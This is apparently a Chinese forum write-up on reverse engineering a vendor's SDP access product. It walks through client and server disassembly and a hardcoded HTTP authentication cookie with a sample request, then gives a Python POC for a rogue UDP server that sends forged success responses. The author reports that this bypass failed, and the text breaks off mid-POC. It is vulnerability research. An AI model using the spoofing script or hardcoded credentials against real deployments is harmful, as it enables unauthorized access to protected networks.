首页
社区
课程
招聘
[原创]记一次安全产品的漏洞挖掘
2022-5-30 12:27 21216

[原创]记一次安全产品的漏洞挖掘

2022-5-30 12:27
21216

0x1.背景

    这几天抽点时间内容整理了一下,一个月前拿来了一家安全厂商的SDP产品玩了一段时间,基本都是抽空玩一玩,因为最近的事情多了放了一段时间,后来想了想没挖到什么高危漏洞感觉又挺没劲,这周又抽几天时间看了一下挖了个命令注入还算有个交代,文中如晚辈有错误的地方不吝赐教。


0x2. 程序分析

    逆向分析是花了个把月时间,断断续续的抽时间和周末把客户端程序和服务端基本分析的差不多了,这里摘出流程性的东西,涉及商密的马赛克了毕竟是商业软件,遵守一下职业操守。

    下面客户端和服务端我用C-S来表示,C端主要的功能都在动态库里头,导出表大概45个函数,中间都是主程序通过loadlibrary和GetProcAddress得到动态链接库函数地址来调用函数

    

1、第一这里会抽取【userid(用户名);uuid(用户id);devtype(设备类型);authcod(验证码);devid(设备id);password(密码)】这6个条件进行加密。

2、第二步抽取系统环境信息,这里直接贴汇编把敏感字做了批量替换处理,懒得截图打马了。

000007FEEF8B4946  | FF 15 04 98 0D 00              | call qword ptr ds:[<&RtlEnterCriticalSe |000007FEEF8B494C  | 39 1D 62 F5 1A 00              | cmp dword ptr ds:[7FEEFA63EB4],ebx      |000007FEEF8B4952  | 0F 85 AB 02 00 00              | jne bdsecuritysse.7FEEF8B4C03               |000007FEEF8B4958  | 48 8D 0D A1 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE400]      |000007FEEF8B495F  | FF 15 C3 9B 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4965  | 48 8D 0D AC 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE418]      |000007FEEF8B496C  | 48 89 05 F5 F5 1A 00           | mov qword ptr ds:[7FEEFA63F68],rax      |000007FEEF8B4973  | FF 15 AF 9B 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4979  | 48 8D 0D A8 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE428]      |000007FEEF8B4980  | 48 89 05 E9 F5 1A 00           | mov qword ptr ds:[7FEEFA63F70],rax      |000007FEEF8B4987  | FF 15 9B 9B 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B498D  | 48 8D 0D A4 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE438]      |000007FEEF8B4994  | 48 89 05 DD F5 1A 00           | mov qword ptr ds:[7FEEFA63F78],rax      |000007FEEF8B499B  | FF 15 87 9B 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B49A1  | 48 8D 0D A0 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE448]      |000007FEEF8B49A8  | 48 89 05 D1 F5 1A 00           | mov qword ptr ds:[7FEEFA63F80],rax      |000007FEEF8B49AF  | FF 15 73 9B 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B49B5  | 48 8D 0D 9C 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE458]      |000007FEEF8B49BC  | 48 89 05 C5 F5 1A 00           | mov qword ptr ds:[7FEEFA63F88],rax      |000007FEEF8B49C3  | FF 15 5F 9B 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B49C9  | 48 8D 0D 90 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE460]      |000007FEEF8B49D0  | 48 89 05 B9 F5 1A 00           | mov qword ptr ds:[7FEEFA63F90],rax      |000007FEEF8B49D7  | FF 15 4B 9B 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B49DD  | 48 8D 0D 94 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE478]      |000007FEEF8B49E4  | 48 89 05 AD F5 1A 00           | mov qword ptr ds:[7FEEFA63F98],rax      |000007FEEF8B49EB  | FF 15 37 9B 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B49F1  | 48 8D 0D 98 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE490]      |000007FEEF8B49F8  | 48 89 05 A1 F5 1A 00           | mov qword ptr ds:[7FEEFA63FA0],rax      |000007FEEF8B49FF  | FF 15 23 9B 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4A05  | 48 8D 0D 9C 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE4A8]      |000007FEEF8B4A0C  | 48 89 05 95 F5 1A 00           | mov qword ptr ds:[7FEEFA63FA8],rax      |000007FEEF8B4A13  | FF 15 0F 9B 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4A19  | 48 8D 0D 98 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE4B8]      |000007FEEF8B4A20  | 48 89 05 89 F5 1A 00           | mov qword ptr ds:[7FEEFA63FB0],rax      |000007FEEF8B4A27  | FF 15 FB 9A 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4A2D  | 48 8D 0D 9C 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE4D0]      |000007FEEF8B4A34  | 48 89 05 7D F5 1A 00           | mov qword ptr ds:[7FEEFA63FB8],rax      |000007FEEF8B4A3B  | FF 15 E7 9A 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4A41  | 48 8D 0D 90 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE4D8]      |000007FEEF8B4A48  | 48 89 05 71 F5 1A 00           | mov qword ptr ds:[7FEEFA63FC0],rax      |000007FEEF8B4A4F  | FF 15 D3 9A 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4A55  | 48 8D 0D 8C 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE4E8]      |000007FEEF8B4A5C  | 48 89 05 65 F5 1A 00           | mov qword ptr ds:[7FEEFA63FC8],rax      |000007FEEF8B4A63  | FF 15 BF 9A 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4A69  | 48 8D 0D 90 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE500]      |000007FEEF8B4A70  | 48 89 05 59 F5 1A 00           | mov qword ptr ds:[7FEEFA63FD0],rax      |000007FEEF8B4A77  | FF 15 AB 9A 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4A7D  | 48 8D 0D 8C 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE510]      |000007FEEF8B4A84  | 48 89 05 4D F5 1A 00           | mov qword ptr ds:[7FEEFA63FD8],rax      |000007FEEF8B4A8B  | FF 15 97 9A 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4A91  | 48 8D 0D 88 9A 13 00           | lea rcx,qword ptr ds:[7FEEF9EE520]      |000007FEEF8B4A98  | 48 89 05 41 F5 1A 00           | mov qword ptr ds:[7FEEFA63FE0],rax      |000007FEEF8B4A9F  | FF 15 83 9A 0D 00              | call qword ptr ds:[<&_strdup>]          |000007FEEF8B4AA5  | 48 8D 0D 34 F4 1A 00           | lea rcx,qword ptr ds:[7FEEFA63EE0]      |000007FEEF8B4AAC  | 48 89 05 35 F5 1A 00           | mov qword ptr ds:[7FEEFA63FE8],rax      |000007FEEF8B4AB3  | E8 28 03 00 00                 | call bdsecuritysse.7FEEF8B4DE0              |000007FEEF8B4AB8  | 48 8D 0D 29 F4 1A 00           | lea rcx,qword ptr ds:[7FEEFA63EE8]      |000007FEEF8B4ABF  | 89 05 2B F5 1A 00              | mov dword ptr ds:[7FEEFA63FF0],eax      |000007FEEF8B4AC5  | E8 86 08 00 00                 | call bdsecuritysse.7FEEF8B5350              |000007FEEF8B4ACA  | 48 8D 0D 1F F4 1A 00           | lea rcx,qword ptr ds:[7FEEFA63EF0]      |000007FEEF8B4AD1  | 89 05 1D F5 1A 00              | mov dword ptr ds:[7FEEFA63FF4],eax      |000007FEEF8B4AD7  | E8 E4 0D 00 00                 | call bdsecuritysse.7FEEF8B58C0              |000007FEEF8B4ADC  | 48 8D 0D 15 F4 1A 00           | lea rcx,qword ptr ds:[7FEEFA63EF8]      |000007FEEF8B4AE3  | 89 05 0F F5 1A 00              | mov dword ptr ds:[7FEEFA63FF8],eax      |000007FEEF8B4AE9  | E8 42 12 00 00                 | call bdsecuritysse.7FEEF8B5D30              |000007FEEF8B4AEE  | 48 8D 0D 0B F4 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F00]      |000007FEEF8B4AF5  | 89 05 01 F5 1A 00              | mov dword ptr ds:[7FEEFA63FFC],eax      |000007FEEF8B4AFB  | E8 20 19 00 00                 | call bdsecuritysse.7FEEF8B6420              |000007FEEF8B4B00  | 48 8D 0D 01 F4 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F08]      |000007FEEF8B4B07  | 89 05 F3 F4 1A 00              | mov dword ptr ds:[7FEEFA64000],eax      |000007FEEF8B4B0D  | E8 7E 1E 00 00                 | call bdsecuritysse.7FEEF8B6990              |000007FEEF8B4B12  | 48 8D 0D F7 F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F10]      |000007FEEF8B4B19  | 89 05 E5 F4 1A 00              | mov dword ptr ds:[7FEEFA64004],eax      |000007FEEF8B4B1F  | E8 BC 22 00 00                 | call bdsecuritysse.7FEEF8B6DE0              |000007FEEF8B4B24  | 48 8D 0D ED F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F18]      |000007FEEF8B4B2B  | 89 05 D7 F4 1A 00              | mov dword ptr ds:[7FEEFA64008],eax      |000007FEEF8B4B31  | E8 1A 28 00 00                 | call bdsecuritysse.7FEEF8B7350              |000007FEEF8B4B36  | 48 8D 0D E3 F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F20]      |000007FEEF8B4B3D  | 89 05 C9 F4 1A 00              | mov dword ptr ds:[7FEEFA6400C],eax      |000007FEEF8B4B43  | E8 28 2A 00 00                 | call bdsecuritysse.7FEEF8B7570              |000007FEEF8B4B48  | 48 8D 0D D9 F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F28]      |000007FEEF8B4B4F  | 89 05 BB F4 1A 00              | mov dword ptr ds:[7FEEFA64010],eax      |000007FEEF8B4B55  | E8 26 2D 00 00                 | call bdsecuritysse.7FEEF8B7880              |000007FEEF8B4B5A  | 89 05 B4 F4 1A 00              | mov dword ptr ds:[7FEEFA64014],eax      |000007FEEF8B4B60  | 48 8D 0D C9 F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F30]      |000007FEEF8B4B67  | E8 E4 2D 00 00                 | call bdsecuritysse.7FEEF8B7950              |000007FEEF8B4B6C  | 48 8D 0D C5 F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F38]      |000007FEEF8B4B73  | 89 05 9F F4 1A 00              | mov dword ptr ds:[7FEEFA64018],eax      |000007FEEF8B4B79  | E8 E2 34 00 00                 | call bdsecuritysse.7FEEF8B8060              |000007FEEF8B4B7E  | 48 8D 0D BB F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F40]      |000007FEEF8B4B85  | 89 05 91 F4 1A 00              | mov dword ptr ds:[7FEEFA6401C],eax      |000007FEEF8B4B8B  | E8 40 3A 00 00                 | call bdsecuritysse.7FEEF8B85D0              |000007FEEF8B4B90  | 48 8D 0D B1 F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F48]      |000007FEEF8B4B97  | 89 05 83 F4 1A 00              | mov dword ptr ds:[7FEEFA64020],eax      |000007FEEF8B4B9D  | E8 3E 3B 00 00                 | call bdsecuritysse.7FEEF8B86E0              |000007FEEF8B4BA2  | 48 8D 0D A7 F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F50]      |000007FEEF8B4BA9  | 89 05 75 F4 1A 00              | mov dword ptr ds:[7FEEFA64024],eax      |000007FEEF8B4BAF  | E8 8C 3C 00 00                 | call bdsecuritysse.7FEEF8B8840              |000007FEEF8B4BB4  | 48 8D 0D 9D F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F58]      |000007FEEF8B4BBB  | 89 05 67 F4 1A 00              | mov dword ptr ds:[7FEEFA64028],eax      |000007FEEF8B4BC1  | E8 DA 42 00 00                 | call bdsecuritysse.7FEEF8B8EA0              |000007FEEF8B4BC6  | 48 8D 0D 93 F3 1A 00           | lea rcx,qword ptr ds:[7FEEFA63F60]      |000007FEEF8B4BCD  | 89 05 59 F4 1A 00              | mov dword ptr ds:[7FEEFA6402C],eax      |000007FEEF8B4BD3  | E8 38 42 00 00                 | call bdsecuritysse.7FEEF8B8E10              |000007FEEF8B4BD8  | 48 8D 15 55 F4 1A 00           | lea rdx,qword ptr ds:[7FEEFA64034]      |000007FEEF8B4BDF  | 89 05 4B F4 1A 00              | mov dword ptr ds:[7FEEFA64030],eax      |000007FEEF8B4BE5  | 48 8D 05 04 F4 1A 00           | lea rax,qword ptr ds:[7FEEFA63FF0]      |000007FEEF8B4BEC  | 0F 1F 40 00                    | nop dword ptr ds:[rax]                  |000007FEEF8B4BF0  | 8B 08                          | mov ecx,dword ptr ds:[rax]              |

    获取【cpu;bios;harddisk;os_version;ie_core;graphic_driver_version;sound_driver_version;run_memory;run_process_list;nic_mac;systemharddisk;ip_address;hostname;Vmware】通过UDP协议发送到S端,方便之后定时发现里头的数据发生改变后,就对用户进行重新身份验证。后面的就是S端处理是个linux系统,有个C++底层负责对C端的交互和日志记录,还有把传过来的UDP数据包转换成HTTP请求发送给java处理,业务层这块采用的是微服务架构spring cloud eureka,S端得话导出函数相对比较多了,1300多个(包括系统导出函数)。

text:000000000040EF98                 push    rbp
.text:000000000040EF99                 mov     rbp, rsp
.text:000000000040EF9C                 sub     rsp, 0CF0h
.text:000000000040EFA3                 mov     [rbp+token], rdi
.text:000000000040EFAA                 mov     [rbp+ret], 0
.text:000000000040EFB1                 mov     [rbp+cookie], 0
.text:000000000040EFB9                 mov     [rbp+data], 0
.text:000000000040EFC1                 lea     rsi, [rbp+post_buff]
.text:000000000040EFC8                 mov     eax, 0
.text:000000000040EFCD                 mov     edx, 100h
.text:000000000040EFD2                 mov     rdi, rsi
.text:000000000040EFD5                 mov     rcx, rdx
.text:000000000040EFD8                 rep stosq
.text:000000000040EFDB                 lea     rsi, [rbp+http_response]
.text:000000000040EFE2                 mov     eax, 0
.text:000000000040EFE7                 mov     edx, 7
.text:000000000040EFEC                 mov     rdi, rsi
.text:000000000040EFEF                 mov     rcx, rdx
.text:000000000040EFF2                 rep stosq
.text:000000000040EFF5                 mov     [rbp+ptr_1000], 0
.text:000000000040EFFD                 mov     [rbp+str_1000], offset a1000 ; "1000"
.text:000000000040F005                 lea     rsi, [rbp+c_uri_api]
.text:000000000040F00C                 mov     eax, 0
.text:000000000040F011                 mov     edx, 40h ; '@'
.text:000000000040F016                 mov     rdi, rsi
.text:000000000040F019                 mov     rcx, rdx
.text:000000000040F01C                 rep stosq
.text:000000000040F01F                 mov     rax, cs:g_running_conf.remote_host
.text:000000000040F026                 test    rax, rax
.text:000000000040F029                 jz      short loc_40F043
.text:000000000040F02B                 movzx   eax, cs:g_running_conf.remote_port
.text:000000000040F032                 test    ax, ax
.text:000000000040F035                 jz      short loc_40F043
.text:000000000040F037                 mov     rax, cs:g_running_conf.remote_uri_head
.text:000000000040F03E                 test    rax, rax
.text:000000000040F041                 jnz     short loc_40F04D
.text:000000000040F043
.text:000000000040F043 loc_40F043:                             ; CODE XREF: x+91↑j
.text:000000000040F043                                         ; x+9D↑j
.text:000000000040F043                 mov     eax, 0FFFFDCD8h
.text:000000000040F048                 jmp     locret_41091C
.text:000000000040F04D ; ---------------------------------------------------------------------------
.text:000000000040F04D
.text:000000000040F04D loc_40F04D:                             ; CODE XREF: x+A9↑j
.text:000000000040F04D                 mov     rdx, cs:g_running_conf.remote_uri_head
.text:000000000040F054                 lea     rax, [rbp+c_uri_api]
.text:000000000040F05B                 mov     r8d, offset aMapi01SpaVerif ; 
.text:000000000040F061                 mov     rcx, rdx
.text:000000000040F064                 mov     edx, offset aSS_0 ; "%s%s"
.text:000000000040F069                 mov     esi, 200h       ; maxlen
.text:000000000040F06E                 mov     rdi, rax        ; s
.text:000000000040F071                 mov     eax, 0
.text:000000000040F076                 call    _snprintf
.text:000000000040F07B                 mov     [rbp+cookie], offset aCmSessionZdg2m ; 
.text:000000000040F083                 mov     rdx, [rbp+token]
.text:000000000040F08A                 lea     rax, [rbp+post_buff]
.text:000000000040F091                 mov     rcx, rdx
.text:000000000040F094                 mov     edx, offset aTokenS ; "{\"token\":\"%s\"}"
.text:000000000040F099                 mov     esi, 800h       ; maxlen
.text:000000000040F09E                 mov     rdi, rax        ; s

    这里直接把认证auth写死在了HTTP当中,控制器对网关的交互不需要校验了......

如果知道网关的地址任何一台机器可以都直接对网关操作了?

POST /authn/mapi/01/spa/init/apply HTTP/1.1
Host: xxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36
Cache-Control: no-cache
Accept: */*
Cookie: 已打码
Content-type: application/json
Content-Length: 329

{"token":"04C3C23F2C0A6F2562dfg3331163179F97F107FAhpE/OIGLhE5dRJTpVx2yw2uDl1vlxdGbP6IfAb2++r2MRb8Jy94wj2qh875TueA1lVw72gfosHBRtLXnDrd1vMeC1SgJM1UkWjKrS/VYDluXbpNmdjCnpsJqIHbcaiKFpcwmPZJHjjxWhvVGDnXLu/3iv6do6hCCMgparCzSaYFa40K/psaANzjgjZbJ9BLDzDS0xWS5gE2zgulP1olF7sZY7WcIyTFKlX7mnAGsqXY=-1001756NlTYtA0TchCrDoNe1VJszqYECU4jXasmPewY="}

   解密的实现操作在jni里头,后续业务逻辑的操作在java端,jar的话用jd-gui就全部反编译出来了密钥啥的都在里头- -,java端采用了微服务架构就是先通过网关的端口转发到注册服务函数处理。

    

再跟到处理校验认证的类,看看实现。

经过securityTokenDecode函数,发现在另一个jar包。

通过jni调用了C,实现还是在C里,找到System.loadLibrary("xxx") 并反汇编:

.text:000000000011C409                 lea     rdx, gMethods
.text:000000000011C410                 lea     rcx, aProcesscmd ; "processCmd"
.text:000000000011C417                 mov     [rax+rdx], rcx
.text:000000000011C41B                 mov     eax, [rbp+var_4]
.text:000000000011C41E                 movsxd  rdx, eax
.text:000000000011C421                 mov     rax, rdx
.text:000000000011C424                 add     rax, rax
.text:000000000011C427                 add     rax, rdx
.text:000000000011C42A                 shl     rax, 3
.text:000000000011C42E                 lea     rdx, gMethods
.text:000000000011C435                 lea     rcx, aIljavaLangObje ; "(ILjava/lang/Object;[Ljava/lang/Object;"...
.text:000000000011C43C                 mov     [rax+rdx+8], rcx
.text:000000000011C441                 mov     eax, [rbp+var_4]
.text:000000000011C444                 movsxd  rdx, eax
.text:000000000011C447                 mov     rax, rdx
.text:000000000011C44A                 add     rax, rax
.text:000000000011C44D                 add     rax, rdx
.text:000000000011C450                 shl     rax, 3
.text:000000000011C454                 lea     rdx, unk_548810
.text:000000000011C45B                 lea     rcx, jni_process_command
.text:000000000011C462                 mov     [rax+rdx], rcx
.text:000000000011C466                 add     [rbp+var_4], 1
.text:000000000011C46A                 mov     edx, [rbp+var_4]
.text:000000000011C46D                 mov     rax, [rbp+var_18]
.text:000000000011C471                 mov     ecx, edx
.text:000000000011C473                 lea     rdx, gMethods
.text:000000000011C47A                 lea     rsi, aComxxxSdkAl ; "com/xxx/sdk/"
.text:000000000011C481                 mov     rdi, rax
.text:000000000011C484                 call    registerNativeMethods

调用了registerNativeMethods

函数原型:

static int registerNativeMethods(JNIEnv* env, const char* className,
    JNINativeMethod* gMethods, int numMethods)
{
    jclass clazz;
    //注册函数需要和对应类挂钩,这里先取地对应类
    clazz = env->FindClass(className);
    if (clazz == NULL)
        return JNI_FALSE;

    if (env->RegisterNatives(clazz, gMethods, numMethods) < 0)
    {
        //LOGE("register nativers error");
        return JNI_FALSE;
    }

    return JNI_TRUE;
}

JNI_Onload:

__int64 __fastcall JNI_OnLoad(__int64 a1)
{
  __int64 result; // rax
  __int64 v2; // rdi
  __int64 v3; // [rsp+10h] [rbp-10h] BYREF
  int v4; // [rsp+18h] [rbp-8h]
  int v5; // [rsp+1Ch] [rbp-4h]

  v3 = 0LL;
  v5 = -1;
  v4 = 0;
  memset(cmd_id_list, 0, sizeof(cmd_id_list));
  memset(jni_func_list, 0, sizeof(jni_func_list));
  if ( (*(*a1 + 060LL))(a1, &v3, 65540LL) )
    return 0xFFFFFFFFLL;
  v2 = v3;
  if ( !registerNatives(v3) )
    return 0xFFFFFFFFLL;
  v4 = _s201603301100(v2);
  if ( v4 )
    result = 0xFFFFFFFFLL;
  else
    result = 65540LL;
  return result;
}
_QWORD *__fastcall register_command_processor(int a1, __int64 a2)
{
  _QWORD *result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 511; ++i )
  {
    result = jni_func_list[i];
    if ( !result )
    {
      cmd_id_list[i] = a1;
      result = jni_func_list;
      jni_func_list[i] = a2;
      return result;
    }
  }
  return result;
}

注册jni函数

__int64 registerNatives()
{
  register_command_processor(7854, randomSM2KeyPairs);
  register_command_processor(7853, sm2Encrypt);
  register_command_processor(7852, sm2Decrypt);
  register_command_processor(7851, sm2DoSign);
  register_command_processor(7850, sm2VerifySign);
  register_command_processor(7849, sm3HashWithData);
  register_command_processor(7848, sm3HashWithFilePath);
  register_command_processor(7847, randomSM4IV);
  register_command_processor(7846, randomSM4Key);
  register_command_processor(7845, sm4EncryptData);
  register_command_processor(7844, sm4DecryptData);
  register_command_processor(7843, sm4EncryptFile);
  register_command_processor(7842, sm4DecryptFile);
  register_command_processor(7841, randomAESGCM128Key);
  register_command_processor(7840, aesGcm128EncryptData);
  register_command_processor(7871, aesGcm128DecryptData);
  register_command_processor(7870, randomRSAKeyPairs);
  register_command_processor(7869, rsaEncrypt);
  register_command_processor(7868, rsaDecrypt);
  register_command_processor(7867, rsaDoSign);
  register_command_processor(7866, rsaVerifySign);
  register_command_processor(7865, md5Data);
  register_command_processor(7864, sha1Data);
  register_command_processor(7863, sha224Data);
  register_command_processor(7862, sha256Data);
  register_command_processor(7861, hmacMD5Data);
  register_command_processor(7860, hmacSHA1Data);
  register_command_processor(7859, hmacSHA256Data);
  register_command_processor(7858, aes256Encrypt);
  register_command_processor(7857, aes256Decrypt);
  register_command_processor(7856, sha512Data);
  register_command_processor(7823, hmacSHA512Data);
  register_command_processor(7822, hmacSM3Data);
  register_command_processor(7839, collaboSM2ClientGenKeypairs);
  register_command_processor(7838, collaboSM2ServerGenKeypairs);
  register_command_processor(7837, collaboSM2ClientFristDoSign);
  register_command_processor(7836, collaboSM2ServerDoSign);
  register_command_processor(7835, collaboSM2ClientSecondDoSign);
  register_command_processor(7834, SSEcollaboSM2ServerProcessGenKeypairs);
  register_command_processor(7833, SSEcollaboSM2ServerProcessDoSign);
  register_command_processor(7761, xxxx);
  register_command_processor(7760, xxxx);
  register_command_processor(7359, xxxx);
  register_command_processor(7358, xxxx);
  register_command_processor(7342, xxxx);
  register_command_processor(7341, xxxx);
  register_command_processor(7340, xxxx);
  register_command_processor(7339, xxxx);
  return 1LL;
}

通过注册函数和对应类解密函数

jni函数表

之后解密后进数据库(使用了#{}来防SQL注入):

根据逻辑返回相对应的status给C端,以上就是第一步身份验证的流程。

身份校验通过后进入第二流程,得到控制器IP和端口开始登陆。

请求数据包如下:

调试器附加进程:内容依旧带上了上面的用户名密码验证码信息外加了一个json ext字段包含了两个内容:codetoken,pubkey。

看看S端得处理逻辑,这里简单说一下流程,不贴代码了。

S端底层获取到数据后发送到相应得注册服务,服务函数里逻辑为:解密数据包、检测用户是否存在、检测codetoken是否为空、检查手机号、检查pubkey是否为空(key客户端生成,服务端不会去校验它的真实性),一顿的逻辑检查通过后【uuid,userid,时间,设备类型,pubkey,clientype】入库,最后获取隧道的相关配置信息返还给C端.

隧道配置内容:

{"allowedips": , "dns": "", "portaluri": "", "riskuri": "" }

生成一个配置文件后创建隧道服务:

00000000007E6A27  | 48 89 54 24 50                 | mov qword ptr ss:[rsp+50],rdx           |
00000000007E6A2C  | 48 89 04 24                    | mov qword ptr ss:[rsp],rax              | [rsp]:"WireGuardTunnel$controller"
00000000007E6A30  | 48 89 4C 24 08                 | mov qword ptr ss:[rsp+8],rcx            |
00000000007E6A35  | E8 66 C8 00 00                 | call client.7F32A0                   |

最后就是每次连接就走指定的某隧道就行了,基本的流程摸透了,最后写一下发现的安全问题。


0x3.漏洞

    刚开始基本测了一周左右,发现了几个安全问题,比较有价值的就是一个拒绝服务还有加密协议的加密密钥来重新实现加密传输就可以暴力猜账号密码,这两天也挖了服务端一个远程命令注入。

    首先产品说明文档里带了一个产品部署的架构图,这里脱下敏,自己照猫画虎画了一个差不多的图。

从完全黑盒测试的角度就只有一个客户端,对于服务端的所有信息除了IP地址外,没有任何其他有用的信息。

1.认证机制绕过

    C到S传输协议UDP,并经过某种加密进行传输,过程中没有协商之类的,看一眼抓包数据:

可以实现一个S端不管发送什么数据只给他一个成功的状态码就能欺骗到登录成功的界面,这里需要满足两个条件:

1、需要一个成功的状态码数据包或information。

2、没有二次校验的机制。

写了一个S端进行了测试,成功绕过了第一层校验到达登陆页面的时候才发现有二次校验的机制,之后二次校验的包来回分析发现了在第一步的校验包中会有一个设备ID的hash码要存入S的数据库中,在二次校验中会对设备HASH码查询来校验第一步的认证,此路是行不通。

POC:

#-*- encoding: utf-8 -*-
from socket import *
from time import ctime
import sys
import binascii

reload(sys)
sys.setdefaultencoding('utf-8')


HOST = ''
PORT = 4430
BUFSIZ = 5000
ADDRESS = (HOST, PORT)

udpServerSocket = socket(AF_INET, SOCK_DGRAM)
udpServerSocket.bind(ADDRESS)      # 绑定客户端口和地址

while True:
    print("waiting for message...")
    data, addr = udpServerSocket.recvfrom(BUFSIZ)
    print("接收到数据:")
    content = "\x66\x00\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a" \
                "\x00\x02\x00\x50\x7b\x55\x73\x74\x61\x74\x75\x73\x22\x3a\x31\x30" \
                "\x30\x30\x2c\x22\x72\x65\x73\x70\x6f\x6e\x73\x65\x5f\x62\x6f\x64" \
                "\x79\x22\x3a\x7b\x22\x63\x6f\x64\x65\x74\x6f\x6b\x65\x6e\x22\x3a" \
                "\x22\x31\x66\x34\x33\x32\x34\x63\x33\x36\x38\x31\x63\x34\x33\x35" \
                "\x36\x62\x61\x33\x35\x31\x66\x66\x62\x37\x35\x39\x34\x33\x36\x66" \
                "\x36\x22\x7d\x7d\x00\x03\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" \
                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    #################################################################################
    udpServerSocket.sendto(content, addr)
    print('...received from and returned to:', addr)

    print("waiting for message...")
    data, addr = udpServerSocket.recvfrom(BUFSIZ)
    print("接收到数据:2222")
    content1 = "\x00\x0c\x29\xb0\x3a\x07\x84\x65\x69\x6e\xda\x22\x08\x00\x45\x00" \
"\x02\x0c\xe1\xde\x40\x00\x3f\x11\xc3\xf1\xc0\xa8\x0a\x16\xc0\xa8" \
"\x08\xaa\x11\x4e\xe3\x54\x01\xf8\xa6\x1e\x68\x00\x00\x00\x01\xf0" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x51\x0a\x00\x02\x01\xb4\x7b\x22" \
"\x73\x74\x61\x74\x75\x73\x22\x3a\x31\x30\x30\x30\x2c\x22\x72\x65" \
"\x73\x70\x6f\x6e\x73\x65\x5f\x62\x6f\x64\x79\x22\x3a\x7b\x22\x73" \
"\x64\x70\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x63\x6f\x6e\x66\x22\x3a" \
"\x7b\x22\x61\x6c\x6c\x6f\x77\x65\x64\x69\x70\x73\x22\x3a\x5b\x22" \
"\x31\x30\x2e\x30\x2e\x30\x2e\x31\x2f\x33\x32\x22\x2c\x22\x31\x39" \
"\x32\x2e\x31\x36\x38\x2e\x31\x30\x2e\x30\x2f\x31\x36\x22\x2c\x22" \
"\x31\x37\x32\x2e\x31\x36\x2e\x30\x2e\x30\x2f\x31\x36\x22\x5d\x2c" \
"\x22\x70\x6f\x72\x74\x61\x6c\x75\x72\x69\x22\x3a\x22\x68\x74\x74" \
"\x70\x3a\x2f\x2f\x31\x30\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x30" \
"\x30\x30\x2f\x6c\x6f\x67\x69\x6e\x2e\x68\x74\x6d\x6c\x22\x2c\x22" \
"\x72\x69\x73\x6b\x75\x72\x69\x22\x3a\x22\x68\x74\x74\x70\x3a\x2f" \
"\x2f\x31\x30\x2e\x30\x2e\x30\x2e\x31\x3a\x38\x31\x30\x30\x2f\x61" \
"\x75\x74\x68\x6e\x2f\x6d\x61\x70\x69\x2f\x30\x31\x2f\x73\x70\x61" \
"\x2f\x72\x69\x73\x6b\x22\x2c\x22\x64\x6e\x73\x22\x3a\x22\x31\x30" \
"\x2e\x30\x2e\x30\x2e\x31\x22\x7d\x2c\x22\x74\x6f\x6b\x65\x6e\x22" \
"\x3a\x22\x45\x43\x31\x44\x44\x42\x32\x39\x37\x32\x32\x38\x35\x43" \
"\x38\x31\x31\x39\x39\x33\x43\x36\x41\x33\x45\x32\x31\x44\x37\x45" \
"\x37\x31\x6c\x50\x50\x48\x6c\x50\x63\x52\x74\x5a\x74\x64\x6a\x32" \
"\x65\x7a\x4c\x4a\x4e\x78\x4c\x6a\x4f\x36\x76\x76\x63\x31\x53\x65" \
"\x55\x63\x46\x55\x69\x6a\x52\x5a\x37\x66\x2f\x4a\x49\x50\x37\x46" \
